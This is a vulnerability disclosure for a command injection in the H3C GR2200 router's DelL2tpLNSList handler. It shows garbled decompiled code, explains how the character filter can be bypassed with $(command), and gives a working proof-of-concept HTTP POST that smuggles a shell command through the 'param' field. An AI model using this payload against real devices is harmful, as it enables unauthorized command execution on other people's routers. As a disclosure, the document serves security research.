

H3C GR2200 MiniGR1A0V100R014 Has an command injection vulnerability

Overview

- Manufacturer's website information: https://www.h3c.com/
- Firmware download address: https://www.h3c.com/cn/d_202202/1542099_30005_0.htm

Product Information

H3C GR2200 MiniGR1A0V100R014 router, the latest version of simulation overview:



Vulnerability details

H3C GR2200 (MiniGR1A0V100R014) was found to contain a command insertion vulnerability in DelL2tpLNSList. This vulnerability allows an attacker to execute arbitrary commands through the "param" parameter.

```
23 memset(v12, 0, sizeof(v12));
24
       memset(v13, 0, sizeof(v13));
26
  27
      {
          strcpy(v1. "/bin/l2tpconfig -R 127.0.0.1 session delete ");
v6 = getelement(v11, 8, v7, 59, 1);
v4 = atoi((const har *)v11);
28
29
9 30
31
          for (i = 1; v4 >= 1, ++i)
  32
            if ( !getelement(v10, 32, v7, ';', i + 1)
    && !getelement(v8, 8, (char *)v10, ' ', 1)
    && !getelement(v9, 8, (char *)v10, ' ', 2)
9 33
  34
  35
  36
37
              if ( sub_46EE30((int)v8, 8u) || sub_46EE30((int)v9, ou)
9 38
9 39
              snprintf(v13, 0x100u, "%s tunnel_id=%s session_id=%s", v12, (const char *)v8, (const char *)v9);
• 40
                /3 = getpid();
              MW_SYSLOG_OP(
• 41
  42
                 184,
  43
                 6,
  44
  45
                 2139095040,
                 "[%d][%s] %s: mp run cmd %s\n",
byte_4F5310,
  46
  47
  48
                 "ASP_L2"P_LNSListDel",
"ASP_L2"P_LNSListDel",
  49
  50
  51
                 v13);
               system(v13);
memset(v13, 0, sizeof(v13));
 52
53
  55
```

Format the param parameter we entered into V13 through the snprintf function, and execute our command through the system function. Because V8 and V9 are limited to 8 bytes, we can fill V8 with 8 bytes so that when %s in the snprintf function is formatted, V8 and V9 will be connected actively.

```
1 int __fastcall sub_46EE30(int a1, unsigned int a2)
   size_t j; // [sp+18h] [+18h]
unsigned int i; // [sp+1Ch] [+1Ch]
int v5[2]; // [sp+20h] [+20h] BYREF
       \sqrt{5}[0] = '|\&`\0';
       \vee 5[1] = 0;
       i = 0;
10
       j = 0;
● 11 if (!a1 || !a2 )
12
         return -1;
13 for ( i = 0; i < a2 && *(_BYTE *)(a1 + i); ++i )</pre>
 14
15
         for (j = 0; j < strlen((const char *)v5); ++j)
  16
            if (*((char *)v5 + j) == *(char *)(a1 + i))
17
18
              return 1;
  19
  20 }
21 return 0;
22 }
```

Although the sub_46EE30 function filters some dangerous characters, we can bypass them with \$(command).


Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by gemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.124.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.124.1:80/maintain_basic.asp
Cookie: JSESSIONID=04f803a0
Upgrade-Insecure-Requests: 1
Content-Length: 67
CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1;$(ps>/ww w/1)
                                                                          #;
```

The picture above shows the debug log after POC is sent.



The above illustration shows the effect of command execution.